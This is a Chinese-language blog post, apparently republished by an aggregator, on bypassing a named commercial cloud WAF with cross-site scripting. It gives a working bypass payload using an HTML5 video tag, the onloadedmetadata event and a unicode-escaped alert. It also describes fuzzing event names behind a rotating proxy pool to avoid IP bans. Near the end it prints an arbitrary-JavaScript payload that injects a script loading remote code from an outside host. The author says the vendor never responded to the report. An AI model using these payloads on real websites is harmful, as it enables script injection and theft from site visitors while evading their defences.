XSS小技巧绕过云WAF
Posted 星盟安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS小技巧绕过云WAF相关的知识,希望对你有一定的参考价值。
XSS小技巧绕过云WAF
0x01
最初发现来自实验室的小伙伴,但是仅限于弹窗,后来发现这种类型的payload构造思路来自WriteupXSS挑战第二期Writeup以及使用了fuzz的一些小技巧,可以实现任意js代码执行.
绕云waf简单的方式就是绕过cdn,找真实ip,翻一下历史解析记录基本都能找到,也有一些工具,比如我在另一篇文章集的fuckcdn
有些时候绕不过去cdn,又存在xss漏洞.报告里要是不能验证漏洞就等于没有漏洞,那就只能硬怼玄武盾了.
0x02 fuzz起手
最近一次测试是在今年四月份,最近手里没网站测试了,很多东西只能靠口诉了.
先上最终payload,payload不唯一,可以有无限多种变形.
6666666"> <video hidden="hidden" onloadedmetadata="[1].find(\u0061lert)" src="http://www.runoob.com/try/demo_source/movie.mp4 " ></video>
大佬们应该一眼就看出来问题了.
玄武盾拦截的截图:
如果payload中存在onerror=,onload=,这些事件,<img>,<script>,这些标签或者alert,javascript
这些敏感词,就会弹出玄武盾.
能fuzz就不手测,如果被ban了ip就上代理池.好像burpsuite不支持代理池,所以简单的fuzz自己写个脚本调用下代理池就好了.
推荐一个开源的代理池,有官方提供的dockerfile(我之前使用的时候是有的,刚出去找没找到,不过手动搭建也很快),一键搭建.
玄武盾对常见关键字过滤的还是挺全的.但是直接fuzz一下就可以发现,比如<video>,<canvas>
这些html5标签不会触发玄武盾.html5普及都这么多年了,玄武盾还没更新到html5,确实无语.
html5标签大概有100多个,可以用我收集的html5标签字典.
使用html5进行的xss有不少方法,以html5与xss到google搜索一下就可以找到很多相关的文章,还有一些靶场.
比如HTML5SecurityCheat_Sheethtml5sec,这里就不多说了.
比较容易用来构造xss的标签有video
.
随手插入一个
<video src="http://www.runoob.com/try/demo_source/movie.mp4 " ></video>,
成功
既然html5标签都没过滤,那么html5的事件99%也不会过滤.直接fuzz全部html事件.html5事件字典在这
很快就找到了比如:onloadedmetadata
(好像是余弦大佬提出的)不需要额外的交互,打开网站.当在指定音视频(audio/video)的元数据(如分辨率和时长)加载后触发.
记得把video标签加上hidden属性.不然动静太大了.
还有一些其他可用的video的事件,请见他山之石 | 对 XSS 的一次深入分析认识
0x03
虽然绕过了关键字检测,但是如果直接用alert()
还是会触发玄武盾.
这里就需要一个2014年乌云大佬们演示过的方法了.
通过数组实例的find()
方法,用于找出第一个符合条件的数组成员.
find()
的参数是一个回调函数.验证漏洞用alert
即可.
当然alert
关键字已经被过滤,但是这里输入点是在js代码里面,浏览器遇到js代码会调用js解释器,所以将alert
js编码为\u0061lert
.稍微降低下payload长度,所以只编码一个字符就可以了.
这里需要详细解释下:
浏览器首先会用HTML解析器对HTML文档进行词法解析,也就是说如果遇到HTML实体编码,会将其解码,但是注意,解码后并不会当做一个标签,也就是说,类似
<video>(<video>)
这样的标签是不会解释的,但是在数据内部,比如
<a href="javascript: alert()" >(<a href="javascript: alert()" >)
则能执行js.
接着浏览器会调用js解析器对js脚本进行解释,如果遇到url编码,会调用url解析器进行解码.
如果js解析器遇到了js编码,且在字符串中,也就是\u****
类型的,则会将其js解码后正常执行js代码需要注意的是比如引号,双引号这些控制字符就算被解码了,也不能生效.也就是说,不能通过js编码逃逸引号.
关于xss与字符编码我感觉解释的比较勉强,如果没能理解,请自行以XSS 编码
为关键字去google搜索相关文章.
所以,最终事件内payload为:
[1].find(\u0061lert)
0x04
发送payload:
成功执行,绕过玄武盾.
当然不能仅仅是弹窗,完整的执行任意js代码的payload类似:
[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss.tt/XA'})
在最开头的两篇文章中偷来的,手动滑稽.
中间如果有被过滤的关键字,js编码下即可.
完美绕过玄武盾执行任意js代码.
至于修复方案,算了吧,我上报了两个月都没理我,以后也不会给安恒上报漏洞了.
没奖金不说,还容易被脑回路清奇的产品经理认为是勒索.醉了.
以上是关于XSS小技巧绕过云WAF的主要内容,如果未能解决你的问题,请参考以下文章